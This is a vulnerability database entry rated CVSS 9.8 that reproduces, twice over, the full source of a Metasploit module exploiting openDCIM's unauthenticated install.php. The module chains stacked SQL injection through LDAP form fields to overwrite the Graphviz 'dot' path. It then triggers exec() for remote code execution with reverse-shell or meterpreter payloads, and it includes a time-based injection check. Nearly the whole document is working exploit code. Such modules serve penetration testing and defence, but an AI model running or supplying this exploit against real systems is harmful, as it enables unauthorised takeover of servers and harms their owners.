9.8
/ 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Description
This module exploits a SQL injection vulnerability in openDCIM's install.php endpoint CVE-2026-28515 to achieve remote code execution. The install.php script remains accessible after installation and processes LDAP configuration parameters via...
Basic Information
ID
MSF:EXPLOIT-LINUX-HTTP-OPENDCIM_INSTALL_SQLI_RCE-
Published
Apr 15, 2026 at 19:02
Affected Product
Affected Versions
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'openDCIM install.php SQL Injection to RCE',
'Description' => %q{
This module exploits a SQL injection vulnerability in openDCIM's install.php
endpoint (CVE-2026-28515) to achieve remote code execution. The install.php
script remains accessible after installation and processes LDAP configuration
parameters via UpdateParameter() without authentication or input sanitization,
allowing stacked SQL queries.
The exploit chain works by injecting SQL through the LDAP configuration form
to overwrite the Graphviz dot binary path in fac_Config, then triggering
report_network_map.php which calls exec() with the poisoned value. A backup
of the original configuration is created before exploitation and restored
after payload delivery.
Tested against openDCIM 23.04 through 25.01 on Ubuntu with Apache.
},
'Author' => [
'Valentin Lobstein <chocapikk[at]leakix.net>' # Discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2026-28515'],
['CVE', '2026-28516'],
['CVE', '2026-28517'],
['URL', 'https://www.vulncheck.com/advisories/opendcim-missing-authorization-in-install-php'],
['URL', 'https://www.vulncheck.com/advisories/opendcim-sql-injection-in-config-updateparameter'],
['URL', 'https://www.vulncheck.com/advisories/opendcim-os-command-injection-via-dot-configuration-parameter'],
['URL', 'https://github.com/Chocapikk/opendcim-exploit']
],
'Targets' => [
[
'Unix/Linux Command Shell', {
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD,
'Type' => :cmd
# tested with cmd/unix/reverse_bash
}
],
[
'Linux Dropper', {
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'CmdStagerFlavor' => ['printf', 'bourne'],
'Type' => :dropper
# tested with linux/x64/meterpreter/reverse_tcp
}
]
],
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => '2026-02-28',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path to openDCIM', '/'])
])
end
LDAP_FIELDS = %w[
LDAPServer LDAPBaseDN LDAPBindDN LDAPSessionExpiration
LDAPSiteAccess LDAPReadAccess LDAPWriteAccess LDAPDeleteAccess
LDAPAdminOwnDevices LDAPRackRequest LDAPRackAdmin
LDAPContactAdmin LDAPSiteAdmin
].freeze
DOT_PARAM = 'dot'.freeze
SQLI_WRAP = ['" WHERE 1=0; ', ' -- '].freeze
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => install_uri
})
return CheckCode::Unknown('Could not connect to the target.') unless res
return CheckCode::Safe('install.php returned unexpected status code.') unless [200, 302].include?(res.code)
body = res.body.to_s
return CheckCode::Safe('install.php does not appear to be openDCIM.') if res.code == 200 && !body.include?('ldapaction') && !body.include?('openDCIM') && !body.include?('Upgrade')
print_status('install.php is accessible, testing time-based SQL injection')
3.times do |i|
sleep_time = rand(1..3)
print_status("Test #{i + 1}/3: SLEEP(#{sleep_time})")
_, elapsed_time = Rex::Stopwatch.elapsed_time do
send_request_cgi({
'method' => 'POST',
'uri' => install_uri,
'vars_post' => { 'ldapaction' => 'Set', LDAP_FIELDS.sample => "#{SQLI_WRAP[0]}SELECT SLEEP(#{sleep_time});#{SQLI_WRAP[1]}" }
})
end
print_status("Elapsed time: #{elapsed_time.round(1)} seconds.")
return CheckCode::Safe("SQL injection test #{i + 1} did not trigger a delay.") unless elapsed_time >= sleep_time
end
CheckCode::Vulnerable('Successfully tested SQL injection (3/3 delay checks passed).')
end
def exploit
@backup_table = Rex::Text.rand_text_alpha(8).downcase
print_status('Performing LORI attack (LDAP Override Remote Injection)')
fail_with(Failure::UnexpectedReply, 'Backup failed.') unless backup_config
case target['Type']
when :cmd
fail_with(Failure::UnexpectedReply, 'SQL injection failed.') unless poison_dot("#{payload.encoded} #")
trigger_exec
when :dropper
execute_cmdstager
end
ensure
cleanup_config
end
def execute_command(cmd, _opts = {})
fail_with(Failure::UnexpectedReply, 'SQL injection failed.') unless poison_dot("#{cmd} #")
trigger_exec
end
def trigger_exec
print_status('Triggering exec() via report_network_map.php')
trigger_dot
end
def cleanup_config
return unless @backup_table
print_status('Restoring original configuration')
restored = restore_config
print_good('Configuration restored successfully.') if restored
print_warning('Failed to restore configuration. Manual cleanup may be needed.') unless restored
end
def install_uri
normalize_uri(target_uri.path, 'install.php')
end
def inject_sql(field, sql)
form = { 'ldapaction' => 'Set' }
LDAP_FIELDS.each { |f| form[f] = '' }
form[field] = "#{SQLI_WRAP[0]}#{sql}#{SQLI_WRAP[1]}"
res = send_request_cgi({
'method' => 'POST',
'uri' => install_uri,
'vars_post' => form
})
res && [200, 302].include?(res.code)
end
def backup_config
inject_sql('LDAPServer',
"DROP TABLE IF EXISTS #{@backup_table};" \
" CREATE TABLE #{@backup_table} AS SELECT Parameter, Value FROM fac_Config" \
" WHERE Parameter LIKE \"LDAP%%\" OR Parameter = \"#{DOT_PARAM}\";")
end
def poison_dot(dot_value)
escaped = dot_value.gsub('\\') { '\\\\' }
inject_sql('LDAPBaseDN',
"UPDATE fac_Config SET Value = \"#{escaped}\" WHERE Parameter = \"#{DOT_PARAM}\";")
end
def restore_config
inject_sql('LDAPSiteAdmin',
"UPDATE fac_Config c INNER JOIN #{@backup_table} b ON c.Parameter = b.Parameter SET c.Value = b.Value;" \
" DROP TABLE IF EXISTS #{@backup_table};")
end
def trigger_dot
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'report_network_map.php'),
'vars_get' => { 'format' => '0', 'containerid' => '1' }
})
res&.body&.strip
end
end
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'openDCIM install.php SQL Injection to RCE',
'Description' => %q{
This module exploits a SQL injection vulnerability in openDCIM's install.php
endpoint (CVE-2026-28515) to achieve remote code execution. The install.php
script remains accessible after installation and processes LDAP configuration
parameters via UpdateParameter() without authentication or input sanitization,
allowing stacked SQL queries.
The exploit chain works by injecting SQL through the LDAP configuration form
to overwrite the Graphviz dot binary path in fac_Config, then triggering
report_network_map.php which calls exec() with the poisoned value. A backup
of the original configuration is created before exploitation and restored
after payload delivery.
Tested against openDCIM 23.04 through 25.01 on Ubuntu with Apache.
},
'Author' => [
'Valentin Lobstein <chocapikk[at]leakix.net>' # Discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2026-28515'],
['CVE', '2026-28516'],
['CVE', '2026-28517'],
['URL', 'https://www.vulncheck.com/advisories/opendcim-missing-authorization-in-install-php'],
['URL', 'https://www.vulncheck.com/advisories/opendcim-sql-injection-in-config-updateparameter'],
['URL', 'https://www.vulncheck.com/advisories/opendcim-os-command-injection-via-dot-configuration-parameter'],
['URL', 'https://github.com/Chocapikk/opendcim-exploit']
],
'Targets' => [
[
'Unix/Linux Command Shell', {
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD,
'Type' => :cmd
# tested with cmd/unix/reverse_bash
}
],
[
'Linux Dropper', {
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'CmdStagerFlavor' => ['printf', 'bourne'],
'Type' => :dropper
# tested with linux/x64/meterpreter/reverse_tcp
}
]
],
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => '2026-02-28',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path to openDCIM', '/'])
])
end
LDAP_FIELDS = %w[
LDAPServer LDAPBaseDN LDAPBindDN LDAPSessionExpiration
LDAPSiteAccess LDAPReadAccess LDAPWriteAccess LDAPDeleteAccess
LDAPAdminOwnDevices LDAPRackRequest LDAPRackAdmin
LDAPContactAdmin LDAPSiteAdmin
].freeze
DOT_PARAM = 'dot'.freeze
SQLI_WRAP = ['" WHERE 1=0; ', ' -- '].freeze
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => install_uri
})
return CheckCode::Unknown('Could not connect to the target.') unless res
return CheckCode::Safe('install.php returned unexpected status code.') unless [200, 302].include?(res.code)
body = res.body.to_s
return CheckCode::Safe('install.php does not appear to be openDCIM.') if res.code == 200 && !body.include?('ldapaction') && !body.include?('openDCIM') && !body.include?('Upgrade')
print_status('install.php is accessible, testing time-based SQL injection')
3.times do |i|
sleep_time = rand(1..3)
print_status("Test #{i + 1}/3: SLEEP(#{sleep_time})")
_, elapsed_time = Rex::Stopwatch.elapsed_time do
send_request_cgi({
'method' => 'POST',
'uri' => install_uri,
'vars_post' => { 'ldapaction' => 'Set', LDAP_FIELDS.sample => "#{SQLI_WRAP[0]}SELECT SLEEP(#{sleep_time});#{SQLI_WRAP[1]}" }
})
end
print_status("Elapsed time: #{elapsed_time.round(1)} seconds.")
return CheckCode::Safe("SQL injection test #{i + 1} did not trigger a delay.") unless elapsed_time >= sleep_time
end
CheckCode::Vulnerable('Successfully tested SQL injection (3/3 delay checks passed).')
end
def exploit
@backup_table = Rex::Text.rand_text_alpha(8).downcase
print_status('Performing LORI attack (LDAP Override Remote Injection)')
fail_with(Failure::UnexpectedReply, 'Backup failed.') unless backup_config
case target['Type']
when :cmd
fail_with(Failure::UnexpectedReply, 'SQL injection failed.') unless poison_dot("#{payload.encoded} #")
trigger_exec
when :dropper
execute_cmdstager
end
ensure
cleanup_config
end
def execute_command(cmd, _opts = {})
fail_with(Failure::UnexpectedReply, 'SQL injection failed.') unless poison_dot("#{cmd} #")
trigger_exec
end
def trigger_exec
print_status('Triggering exec() via report_network_map.php')
trigger_dot
end
def cleanup_config
return unless @backup_table
print_status('Restoring original configuration')
restored = restore_config
print_good('Configuration restored successfully.') if restored
print_warning('Failed to restore configuration. Manual cleanup may be needed.') unless restored
end
def install_uri
normalize_uri(target_uri.path, 'install.php')
end
def inject_sql(field, sql)
form = { 'ldapaction' => 'Set' }
LDAP_FIELDS.each { |f| form[f] = '' }
form[field] = "#{SQLI_WRAP[0]}#{sql}#{SQLI_WRAP[1]}"
res = send_request_cgi({
'method' => 'POST',
'uri' => install_uri,
'vars_post' => form
})
res && [200, 302].include?(res.code)
end
def backup_config
inject_sql('LDAPServer',
"DROP TABLE IF EXISTS #{@backup_table};" \
" CREATE TABLE #{@backup_table} AS SELECT Parameter, Value FROM fac_Config" \
" WHERE Parameter LIKE \"LDAP%%\" OR Parameter = \"#{DOT_PARAM}\";")
end
def poison_dot(dot_value)
escaped = dot_value.gsub('\\') { '\\\\' }
inject_sql('LDAPBaseDN',
"UPDATE fac_Config SET Value = \"#{escaped}\" WHERE Parameter = \"#{DOT_PARAM}\";")
end
def restore_config
inject_sql('LDAPSiteAdmin',
"UPDATE fac_Config c INNER JOIN #{@backup_table} b ON c.Parameter = b.Parameter SET c.Value = b.Value;" \
" DROP TABLE IF EXISTS #{@backup_table};")
end
def trigger_dot
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'report_network_map.php'),
'vars_get' => { 'format' => '0', 'containerid' => '1' }
})
res&.body&.strip
end
end